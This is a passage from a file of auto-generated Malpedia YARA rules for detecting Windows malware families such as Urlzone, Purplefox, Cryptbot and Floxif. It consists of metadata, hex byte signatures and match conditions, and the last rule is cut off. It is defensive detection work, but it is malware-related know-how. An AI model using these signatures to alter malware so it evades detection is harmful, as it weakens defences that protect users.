		$sequence_0 = { 8d8578fdffff 56 50 89b579fdffff e8???????? }
		$sequence_1 = { 90 745f 90 13c9 90 eb20 }
		$sequence_2 = { 68???????? 50 ff15???????? 6a0a 58 }
		$sequence_3 = { 6a00 68???????? 68???????? 6a50 56 e8???????? 83c420 }
		$sequence_4 = { 7e1a 8b4c240c 8b442404 56 2bc1 8bf2 }
		$sequence_5 = { f7f9 55 8b35???????? 8bd8 a1???????? 2b05???????? 0fafc3 }
		$sequence_6 = { 66ab aa 8d8580fdffff 6800020000 50 53 }
		$sequence_7 = { a1???????? 57 40 50 ff15???????? 85c0 0f8fa3000000 }
		$sequence_8 = { c3 55 8bec b808200000 e8???????? 53 56 }
		$sequence_9 = { 57 50 ffd6 83c418 85db }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Madmax_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "211dedfc-7c78-54d2-bc9c-659fc1684566"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.madmax_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "cf6b2a7b533fb3f99bc15493e8a8779b3f938c747aabda5388a89eac12fccb62"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f605????????5a 0f85ea000000 95 8883424ceb3e 38af847bb313 8320aa d590 }
		$sequence_1 = { fa 768b 872a fd 2a4f0e e8???????? b3df }
		$sequence_2 = { af 2f ac 7cd6 45 98 92 }
		$sequence_3 = { bf45f19eb2 ac a5 d6 34e2 1117 4c }
		$sequence_4 = { e6d1 f5 9f 45 7b78 39770f d0de }
		$sequence_5 = { b4bf 49 95 14c0 393f d8d3 fc }
		$sequence_6 = { 7135 fd 9e 9d 50 50 9c }
		$sequence_7 = { c9 09f8 96 67a4 61 52 636e85 }
		$sequence_8 = { 9d 53 6a03 e8???????? 83c40c 9c f605????????e8 }
		$sequence_9 = { be492ea060 c14434e19e 46 2f d3f4 fa 6be92a }
	condition:
		7 of them and filesize < 3227648
}

rule MALPEDIA_Win_Floxif_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ffd7b18b-df79-5e10-a446-739ad37f5cd1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floxif_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "ea5402045cc061612aa202cf5adc4c091c680ec32b64c798623434387b1d2b20"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837dfc05 7e02 eb0d 68a00f0000 ff15???????? }
		$sequence_1 = { eb09 8b45a8 83c001 8945a8 8d4dc0 e8???????? 3945a8 }
		$sequence_2 = { 68???????? 8d4de0 e8???????? 68???????? b9???????? e8???????? 6a00 }
		$sequence_3 = { e8???????? 8d4d08 51 8d4de4 e8???????? c645f400 }
		$sequence_4 = { 51 8b55f4 52 8b45fc 50 6aff 8b4d08 }
		$sequence_5 = { 837df800 7e68 8b45f8 83c001 50 6a00 8d8d4cffffff }
		$sequence_6 = { c6855fffffff94 c68560ffffff92 c68561ffffffe1 c6458c00 c6458d00 c6458e72 }
		$sequence_7 = { e8???????? e8???????? 83c410 682c010000 ff15???????? e8???????? 83ec10 }
		$sequence_8 = { 83c40c 8b5510 52 8b450c c1e004 8b4d08 03c8 }
		$sequence_9 = { 7629 a1???????? 0305???????? 8b4d0c 3981b8000000 7313 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Urlzone_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4dd4d8e5-7756-57be-8ce5-a21c7832bb2c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urlzone_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "c42481bd862ad161fd4e6a711568aaf0139280c4a77d4d9855a08ac723543c9d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 81c4e8fbffff 53 56 57 8b4514 }
		$sequence_1 = { 8910 33c0 8943e4 c745fcffffffff eb1f 46 83c340 }
		$sequence_2 = { 83fbff 0f8420070000 6a00 53 e8???????? 8945f8 }
		$sequence_3 = { 50 e8???????? 6a00 6a00 2df1000000 50 8b06 }
		$sequence_4 = { 6a00 56 6a00 6802000001 6a00 53 }
		$sequence_5 = { 85c0 7c04 85d2 7d02 33c9 8bc1 c3 }
		$sequence_6 = { 50 e8???????? b001 e8???????? 68???????? 68???????? e8???????? }
		$sequence_7 = { c6041000 bf01000000 8db36cfeffff 8b06 85c0 7438 }
		$sequence_8 = { bb???????? 8b45f8 50 8d8577ffffff 50 }
		$sequence_9 = { 7435 e9???????? 56 8d85effdffff }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Purplefox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a13fd35f-ff4a-5d50-9b5d-b24cdc4536ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplefox_auto.yar#L1-L381"
		license_url = "N/A"
		logic_hash = "19db2fd8d55e9f90545cae61363b7c1883764c9fb7fb14f78b3fa3d087d84046"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b15???????? 53 8a1d???????? 6a01 8906 }
		$sequence_1 = { 8945f4 3bc7 740d 8b7308 }
		$sequence_2 = { c1fa05 c1e006 030495000c4100 eb05 b8???????? f6400420 }
		$sequence_3 = { 85c0 7912 488b8d90010000 ff15???????? e9???????? 488b8d98010000 4533c9 }
		$sequence_4 = { 8bcf e8???????? e9???????? 488d0df6200000 ff15???????? 488b3b }
		$sequence_5 = { 6800000010 8d45f8 bf40020000 50 c745c018000000 895dc4 }
		$sequence_6 = { 488d4e1c 33d2 41b801010000 e8???????? 4c8d546d00 4c8d1db0920000 49c1e204 }
		$sequence_7 = { 66b8f230 8b4500 f9 f9 e9???????? }
		$sequence_8 = { ff15???????? 488d542440 488d0dca110000 4c8bc6 ff15???????? 488d4c2440 41b001 }
		$sequence_9 = { 57 4883ec60 48c7442440feffffff 48899c2488000000 }
		$sequence_10 = { 8b7de8 56 8d8dacfbffff 51 8d55b0 52 }
		$sequence_11 = { 8da42400000000 8038ff 750b 80780175 7505 385802 7409 }
		$sequence_12 = { c9 49 3658 8a3f 3658 7642 }
		$sequence_13 = { 4889442430 488b05???????? c644242800 488b08 ba00020000 48894c2420 }
		$sequence_14 = { ff15???????? 8bf0 85f6 7914 56 68???????? ffd3 }
		$sequence_15 = { ebcf 8bc6 c1f805 8b0485000c4100 83e61f c1e606 8d443004 }
		$sequence_16 = { 35fd937dd3 43 d0f2 2f 4a 87cd }
		$sequence_17 = { 448bc6 442bc0 488b442450 488d0d4b7e0000 488b0cc1 }
		$sequence_18 = { 56 12581a 887ea4 3d0b3a08c2 }
		$sequence_19 = { 83c408 6a00 51 ff15???????? 8bf0 }
		$sequence_20 = { 51 e8???????? 83c404 8b5704 68???????? }
		$sequence_21 = { 81e900202200 be100000c0 0f84ec020000 83e904 0f8486010000 83e904 }
		$sequence_22 = { 3918 0f4c18 3bcb 0f8d87000000 488d3dd7b70000 ba58000000 488bcd }
		$sequence_23 = { 9c 60 c64424043e f5 }
		$sequence_24 = { 488b4c2470 ff15???????? 488b8d08040000 ff15???????? }
		$sequence_25 = { 57 56 6a0b ffd3 3d040000c0 750d }
		$sequence_26 = { 85c0 790a 8b4df8 ffd3 e9???????? }
		$sequence_27 = { 58 773d 33f9 13c9 }
		$sequence_28 = { e8???????? 33ff 33c0 8945f4 8945f0 8945f8 8b450c }
		$sequence_29 = { c740e40d000000 8b55f8 8950e8 8b4660 }
		$sequence_30 = { 488d4c2420 33d2 4889442420 8b05???????? }
		$sequence_31 = { 4883f83c 7647 498bcd e8???????? 4c8d05436c0000 41b903000000 488d4c45bc }
		$sequence_32 = { 488b4b08 ff15???????? c70300000000 4883c420 5b c3 }
		$sequence_33 = { 4883c202 668941fe 6685c0 75ec 488b7e08 4883c9ff 33c0 }
		$sequence_34 = { 4883ec20 488bd9 e8???????? 4c8d1d17a10000 }
		$sequence_35 = { ff15???????? 4839442470 0f85b3000000 488d542460 488bce ff15???????? 85c0 }
		$sequence_36 = { e9???????? 660fb6d1 f9 8b5504 c0c107 d2e9 }
		$sequence_37 = { 57 f361 634cea1c bc2cedefeb 59 fb 7fab }
		$sequence_38 = { 7506 50 e9???????? 8b55ec }
		$sequence_39 = { 56 68???????? ff15???????? 83c408 8bc6 5e 8be5 }
	condition:
		7 of them and filesize < 1983488
}

rule MALPEDIA_Win_Downex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "780df1d0-772a-58a4-934d-63bed6bd9744"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downex_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "2787ed485caccd79e05aaa2383aa816bb0e34ab86d11b61c935876204e99082a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb6443b47 4b 2bf0 8d0440 8d0c82 8b84b7ec000000 8901 }
		$sequence_1 = { ffb0d8f24700 e8???????? 83c40c 85c0 7419 46 8d0476 }
		$sequence_2 = { e8???????? 8d8d58fdffff e8???????? 8b4da4 83c148 8d4601 50 }
		$sequence_3 = { 297e04 83c40c 013e 017e08 8b4e04 83560c00 017e10 }
		$sequence_4 = { eb2c b9???????? eb25 b9???????? eb1e 3ddec0c5b0 7412 }
		$sequence_5 = { 7214 83c123 8b50fc 2bc2 83c0fc 83f81f 0f87d3030000 }
		$sequence_6 = { ff7508 e8???????? 83c414 33d2 85c0 b900100000 0f44d1 }
		$sequence_7 = { 85c0 0f85a0050000 f6872802010010 0f8407010000 8b8eb4000000 8bd1 68b5070000 }
		$sequence_8 = { 50 e8???????? 68???????? 6aff ffb5f0feffff e8???????? 8bb5f8feffff }
		$sequence_9 = { e8???????? 83c410 eb1f 81e7ffffdfff f7c200002000 7411 8d45e4 }
	condition:
		7 of them and filesize < 1067008
}

rule MALPEDIA_Win_Bootwreck_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c86e0360-3c55-5b68-af4c-6642481fbd38"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bootwreck_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "a7d19ddda34fd585dce842e8452aa3b90378f4a99b150c5642a8436fb2a84d1d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 9e 3ec9 307dd6 14cc 7466 d59d }
		$sequence_1 = { c60424de 57 9c 875c242c ff742404 54 9c }
		$sequence_2 = { fd 7919 87c1 0e d9574e 6d 7db2 }
		$sequence_3 = { 8b8020334500 c60424ef 60 8d8090b42a7f 8d642434 0f8f702c0000 687b1f6def }
		$sequence_4 = { 660fb6db 89f3 660fbef1 5e 660fce 8b742440 88442404 }
		$sequence_5 = { 70e8 32ff 46 33e2 41 2eb910b0f8ab 828dc6785b1254 }
		$sequence_6 = { e8???????? f6d2 8b5620 60 9c ff742404 89542424 }
		$sequence_7 = { 60 e7c6 45 14bb aa 11fe 1d0a3b6a57 }
		$sequence_8 = { b6d1 0206 82535e09 3909 a6 ae 57 }
		$sequence_9 = { 660fb6c9 660bf9 0fb7cf 8b7d10 894d0c 2acb 32c8 }
	condition:
		7 of them and filesize < 10821632
}

rule MALPEDIA_Win_Amtsol_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10cd2a6a-97cd-5bbf-a2de-d51937233e16"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amtsol_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "f41e59806427fb3074e56403dfc0119ba4416aa791cb2055a2846e43c19529c3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bec 83ec20 53 56 8b7508 33db 3bf3 }
		$sequence_1 = { 035e24 8945fc 8b45f8 8d9c1839d0d4d9 53 e8???????? 8b4df0 }
		$sequence_2 = { 836d1010 8b7d10 83e810 8bf0 a5 a5 }
		$sequence_3 = { 50 8d4de4 e8???????? 84c0 7418 8d4de4 e8???????? }
		$sequence_4 = { c6451054 c6451172 c6451261 c645136e c6451473 c6451566 }
		$sequence_5 = { 3d01010000 7d0d 8a4c181c 8888b82b4200 40 ebe9 }
		$sequence_6 = { 53 e8???????? 0345fc 8b4df0 8945f8 8b45f4 }
		$sequence_7 = { 50 e8???????? 59 50 ff7604 e8???????? 83c41c }
		$sequence_8 = { 33cb 030e 8d840878a46ad7 50 e8???????? 0345fc }
		$sequence_9 = { 83c040 50 e8???????? 83c40c 8bc6 5e c3 }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Auriga_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "34318cf5-8b0c-5480-b67c-27a4f4ec96e2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.auriga_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "916cc30b11a1636c868f6de19248b0e5c25381e64e7d76c56c161fbf71269000"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 59 8945fc 897df8 763a }
		$sequence_1 = { 83c10c 894df4 8b11 3b15???????? 755b 8bd0 2b55fc }
		$sequence_2 = { ffd7 33c0 8985c0fbffff 8985ccfbffff 8985d0fbffff 8d85bcfbffff }
		$sequence_3 = { 33c0 83c40c 8d7dec ab ab 33c0 6a20 }
		$sequence_4 = { 59 648b01 8b400c 8b701c ad 8b4008 }
		$sequence_5 = { 742d 8b430c 8b580c 53 ffd7 84c0 7420 }
		$sequence_6 = { 8b0d???????? 03c1 3900 74f0 8b15???????? 56 }
		$sequence_7 = { 59 59 8945fc 897df8 763a 8b45e8 03c7 }
		$sequence_8 = { 0f8ce7010000 8d85e8f9ffff 50 8d85e0f9ffff }
		$sequence_9 = { 8945e8 a1???????? 8b1c30 8bfb 8d45f0 8d5001 8a08 }
	condition:
		7 of them and filesize < 75776
}

rule MALPEDIA_Win_Advisorsbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "47285543-3eed-5a34-ac06-14b7c71920ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.advisorsbot_auto.yar#L1-L155"
		license_url = "N/A"
		logic_hash = "69dc9add5b159b8414559d7edfb0ea4fa61745cf82bdc631ece400efa0729506"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc1 2bc2 d1e8 03c2 c1e808 }
		$sequence_1 = { 8bc2 33d2 c1e809 f7f1 }
		$sequence_2 = { 8bc2 33d2 c1e808 f7f1 }
		$sequence_3 = { b89b01a311 f7e1 2bca d1e9 03ca }
		$sequence_4 = { b80923ed58 f7e1 8bc1 2bc2 }
		$sequence_5 = { d1e8 03c2 33d2 c1e809 }
		$sequence_6 = { 8bc2 c1e809 33d2 f7f1 }
		$sequence_7 = { d1e9 03ca c1e907 2bc1 }
		$sequence_8 = { d1e9 03ca c1e909 33c8 }
		$sequence_9 = { d1e9 03ca 33d2 c1e908 }
		$sequence_10 = { 8b442408 8b4c2408 33d2 f7f1 }
		$sequence_11 = { 8bc2 33d2 c1e804 f7f1 }
		$sequence_12 = { 5e 5d 0fb7c1 5b }
		$sequence_13 = { 8b442414 8b4c2414 33d2 f7f1 }
		$sequence_14 = { 668b4c2410 5f 5e 5d }
		$sequence_15 = { 0fb7c0 0fb7c9 33d2 f7f1 }
		$sequence_16 = { 0fb7c1 0fb7ca 33d2 f7f1 }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Cryptbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c80588a6-d143-5e79-9f26-778ded8c5ced"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptbot_auto.yar#L1-L256"
		license_url = "N/A"
		logic_hash = "a7dadf34e757866bd3311ff7a46036d085711fdb75a64818e7cbce0bd5b48b23"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 85ed 0f94c0 8be8 }
		$sequence_1 = { 760f b990ec0000 e8???????? e9???????? }
		$sequence_2 = { e9???????? b949dc0000 e9???????? b944dc0000 e9???????? b964dc0000 }
		$sequence_3 = { 7f0a 83fd1e 7f05 83ff13 }
		$sequence_4 = { eb0c b99fed0000 e8???????? 8907 }
		$sequence_5 = { 33c0 eb0a b917d90000 e8???????? }
		$sequence_6 = { 7511 b9d7d80000 e8???????? 8907 }
		$sequence_7 = { 750f b955960100 e8???????? e9???????? }
		$sequence_8 = { 7414 3c7a 7508 8b4610 803874 7408 41 }
		$sequence_9 = { 83caff 8bcf e8???????? 83caff }
		$sequence_10 = { 7419 8b542408 83fa01 7c10 0fbf4846 }
		$sequence_11 = { 744e 0fb74802 83e103 3bcb }
		$sequence_12 = { 7508 85f6 7404 c6464101 5e c3 }
		$sequence_13 = { 1ac9 2403 80e110 8ad1 3c02 7509 }
		$sequence_14 = { 7505 89410c 8bc1 ffb42484000000 }
		$sequence_15 = { 85c0 742c 8bd6 8bcb }
		$sequence_16 = { e8???????? 8b5720 8bce e8???????? 8b5724 }
		$sequence_17 = { 8b4d34 894c245c dd85b8fbffff dd5c2454 }
		$sequence_18 = { 014710 83571400 83c301 8bbe4c010000 8355fc00 }
		$sequence_19 = { 8b4d18 8901 895104 e9???????? }
		$sequence_20 = { 015e58 8bd7 8b4e60 83565c00 }
		$sequence_21 = { 015f28 8bc2 13472c 89472c }
		$sequence_22 = { 8b4d14 898d38ffffff 8b8580000000 898534ffffff }
		$sequence_23 = { 8b4d20 894c2468 8b4d5c 894c2464 }
		$sequence_24 = { 8b4d18 8b09 81c1fc030000 8b448808 }
		$sequence_25 = { 014e10 134614 837de000 894614 }
		$sequence_26 = { 8b4d24 894c247c dd85b0fbffff dd5c2474 }
		$sequence_27 = { 8b4d28 898d30ffffff 8b958c000000 89952cffffff }
		$sequence_28 = { 018330af0100 8b45d8 85c0 7416 }
		$sequence_29 = { 8b4d18 8b09 83c101 81c1fc030000 }
	condition:
		7 of them and filesize < 17138688
}

rule MALPEDIA_Win_Gold_Dragon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "991ba939-2d9f-52cd-813d-6925dfb8d9c9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gold_dragon_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "1d3ddf008eb509566d50c074a1778063d25aa540d5f914350cb60f472b9c159b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8890e0924000 eb1c f6c202 7410 8088????????20 8a9405ecfcffff }
		$sequence_1 = { 8bc8 83e01f c1f905 8d04c0 8b0c8d00954000 8d44810c 50 }
		$sequence_2 = { 85c0 a3???????? 0f84ad060000 8b35???????? 68???????? }
		$sequence_3 = { 8bf1 8bc1 c1fe05 83e01f 8b34b500954000 8d04c0 8b0486 }
		$sequence_4 = { 41 8079ff00 0f8547ffffff 8bc6 8088e193400008 }
		$sequence_5 = { 8d8560ffffff 68???????? 50 e8???????? ffb64c834000 8d8560ffffff 50 }
		$sequence_6 = { 51 ffd6 85c0 a3???????? 0f84dd030000 8b15???????? }
		$sequence_7 = { 50 ffd6 85c0 a3???????? 0f8478060000 }
		$sequence_8 = { 83e01f 8b0c8d00954000 8d04c0 8d0481 8b4dfc }
		$sequence_9 = { 68???????? 50 ffd6 85c0 a3???????? 0f84d8050000 8b0d???????? }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Dustpan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9c878b8-cad8-5a19-8f4e-78ad38029b7f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustpan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustpan_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "5224f428476ca9b9e044abefc44ce9a53e06974708bc3448eb44f67994867ab4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4533c0 4c891d???????? e8???????? 488d0d32010000 4883c420 5b e9???????? }
		$sequence_1 = { b9ff000000 e8???????? 488bfb 4803ff 4c8d2d45eb0000 }
		$sequence_2 = { 488d0d19a80100 33d2 c744242800000008 895c2420 ffd0 488b4d00 4833cc }
		$sequence_3 = { 4c8be7 4c8bf7 49c1fe05 4c8d3dffb60000 }
		$sequence_4 = { 488d05fb0a0100 eb04 4883c014 8918 e8???????? 4c8d15e30a0100 4885c0 }
		$sequence_5 = { 7440 66448923 8a45d8 4b8b8cf8e0d00100 88443109 8a45d9 }
		$sequence_6 = { e9???????? 488d0d45010000 e9???????? 4883ec28 488d0d12910000 e8???????? 488d0d39010000 }
		$sequence_7 = { 488bca 48c1f905 4c8d0533760100 83e21f }
		$sequence_8 = { 4889442420 e8???????? 488d8380000000 803800 741d 4c8d0df2bc0000 41b802000000 }
		$sequence_9 = { 894704 e9???????? 488d0d351f0100 48394c2458 7427 }
	condition:
		7 of them and filesize < 282624
}

rule MALPEDIA_Win_Bottomloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bdd8fe32-22cd-5060-a395-421a392e2bd1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bottomloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bottomloader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "b7681a0b4dfc773cac57468dbf0ac81e795dbff01a4fc0df233a09abd9d3252c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 488d3537d60700 488975c8 48c745c00e000000 488d4dc0 e8???????? 488d051bd60700 }
		$sequence_1 = { e8???????? 4889c6 488d0579400600 488945c8 48c745c016000000 488d55c0 48899578feffff }
		$sequence_2 = { 48897de8 e8???????? 4889c7 4885ff 746f 488d0ddcda0700 e8???????? }
		$sequence_3 = { 4889bdd8fdffff 8b05???????? 65488b0c2558000000 488b14c1 bbf0090000 4c8b441a08 4c0b041a }
		$sequence_4 = { 488975f8 488d55f0 488d8d70ffffff e8???????? 488d8d70ffffff e8???????? 488b9d60ffffff }
		$sequence_5 = { ba43010000 488d0d57dc0700 e8???????? 4d8b542408 410fb63412 eb05 beff000000 }
		$sequence_6 = { 488d0dc5800b00 4883ec20 e8???????? 4883c420 48898550ffffff 48899558ffffff 4c8b8550ffffff }
